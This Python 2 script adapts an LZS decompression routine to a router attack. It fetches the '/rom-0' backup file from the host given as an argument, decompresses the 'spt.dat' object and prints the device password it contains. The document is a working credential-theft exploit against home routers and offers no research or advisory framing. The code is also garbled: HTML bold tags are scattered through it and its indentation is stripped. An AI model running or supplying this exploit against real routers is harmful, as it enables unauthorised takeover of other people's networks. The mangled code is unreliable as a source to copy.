import os
import sys
from struct import <b>*</b>
import urllib2
###########################################################<b>###</b>
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011 Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
###########################################################<b>###</b>
import collections
<b>class</b> BitReader:
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and permits to extract
bits one by one like a stream
"""
<b>def</b> <b>__init__</b>(self, bytes):
self._bits <b>=</b> collections.deque()
<b>for</b> byte <b>in</b> bytes:
byte <b>=</b> ord(byte)
<b>for</b> n <b>in</b> xrange(8):
self._bits.append(bool((byte <b>>></b> (7<b>-</b>n)) <b>&</b> 1))
<b>def</b> getBit(self):
<b>return</b> self._bits.popleft()
<b>def</b> getBits(self, num):
res <b>=</b> 0
<b>for</b> i <b>in</b> xrange(num):
res <b>+=</b> self.getBit() <b><<</b> num<b>-</b>1<b>-</b>i
<b>return</b> res
<b>def</b> getByte(self):
<b>return</b> self.getBits(8)
<b>def</b> <b>__len__</b>(self):
<b>return</b> len(self._bits)
<b>class</b> RingList:
"""
When the list is full, for every item appended
the older is removed
"""
<b>def</b> <b>__init__</b>(self, length):
self.__data__ <b>=</b> collections.deque()
self.__full__ <b>=</b> False
self.__max__ <b>=</b> length
<b>def</b> append(self, x):
<b>if</b> self.__full__:
self.__data__.popleft()
self.__data__.append(x)
<b>if</b> self.size() <b>==</b> self.__max__:
self.__full__ <b>=</b> True
<b>def</b> get(self):
<b>return</b> self.__data__
<b>def</b> size(self):
<b>return</b> len(self.__data__)
<b>def</b> maxsize(self):
<b>return</b> self.__max__
<b>def</b> <b>__getitem__</b>(self, n):
<b>if</b> n <b>>=</b> self.size():
<b>return</b> None
<b>return</b> self.__data__[n]
<b>def</b> LZSDecompress(data, window <b>=</b> RingList(2048)):
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and an optional
pre-populated dictionary; return the decompressed
string and the final dictionary
"""
reader <b>=</b> BitReader(data)
result <b>=</b> ''
<b>while</b> True:
bit <b>=</b> reader.getBit()
<b>if</b> <b>not</b> bit:
char <b>=</b> reader.getByte()
result <b>+=</b> chr(char)
window.append(char)
<b>else</b>:
bit <b>=</b> reader.getBit()
<b>if</b> bit:
offset <b>=</b> reader.getBits(7)
<b>if</b> offset <b>==</b> 0:
# EOF
<b>break</b>
<b>else</b>:
offset <b>=</b> reader.getBits(11)
lenField <b>=</b> reader.getBits(2)
<b>if</b> lenField <b><</b> 3:
lenght <b>=</b> lenField <b>+</b> 2
<b>else</b>:
lenField <b><<=</b> 2
lenField <b>+=</b> reader.getBits(2)
<b>if</b> lenField <b><</b> 15:
lenght <b>=</b> (lenField <b>&</b> 0x0f) <b>+</b> 5
<b>else</b>:
lenCounter <b>=</b> 0
lenField <b>=</b> reader.getBits(4)
<b>while</b> lenField <b>==</b> 15:
lenField <b>=</b> reader.getBits(4)
lenCounter <b>+=</b> 1
lenght <b>=</b> 15<b>*</b>lenCounter <b>+</b> 8 <b>+</b> lenField
<b>for</b> i <b>in</b> xrange(lenght):
char <b>=</b> window[<b>-</b>offset]
result <b>+=</b> chr(char)
window.append(char)
<b>return</b> result, window
<b>class</b> Object:
<b>def</b> <b>__init__</b>(self,blockdata,data):
self.name <b>=</b> data[:14].strip("x00")
self.uncompsize <b>=</b> unpack(">H",data[14:16])[0]
self.compsize <b>=</b> unpack(">H",data[16:18])[0]
self.offset <b>=</b> unpack(">H",data[18:20])[0]
print "Object",self.name ,self.uncompsize,self.compsize,self.offset
self.data <b>=</b> blockdata[self.offset:self.offset<b>+</b>self.compsize]
#print [self.data]
<b>if</b> self.name <b>==</b> "spt.dat":
data2 <b>=</b> self.data
self.data <b>=</b> ""
index <b>=</b> 12
<b>while</b> index <b><</b> self.uncompsize:
orgsize <b>=</b> unpack(">H",data2[index:index<b>+</b>2])[0]
rawsize <b>=</b> unpack(">H",data2[index<b>+</b>2:index<b>+</b>4])[0]
#print orgsize,rawsize
self.data <b>+=</b> LZSDecompress(data2[index<b>+</b>4:index<b>+</b>4<b>+</b>rawsize])[0]
index <b>+=</b> rawsize
print "Password:",self.data[20:].split("x00")[0]
<b>class</b> Block:
<b>def</b> <b>__init__</b>(self,data):
self.blocknumber <b>=</b> ord(data[0])
self.unk1 <b>=</b> ord(data[1])
self.objectcount <b>=</b> unpack(">H",data[2:4])[0]
self.blocklength <b>=</b> unpack(">H",data[4:6])[0]
print "Block:",self.blocknumber , self.objectcount , self.blocklength
self.objects <b>=</b> []
<b>for</b> i <b>in</b> range(0,self.objectcount):
self.objects.append(Object(data,data[6<b>+</b>20<b>*</b>i:]))
blocks <b>=</b> []
f <b>=</b> urllib2.urlopen("http://%s/rom-0"<b>%</b>sys.argv[1])
# = open(sys.argv[1],"rb")
d <b>=</b> f.read()
mem <b>=</b> Block(d[0x0:])
a <b>=</b> Block(d[0x2000:])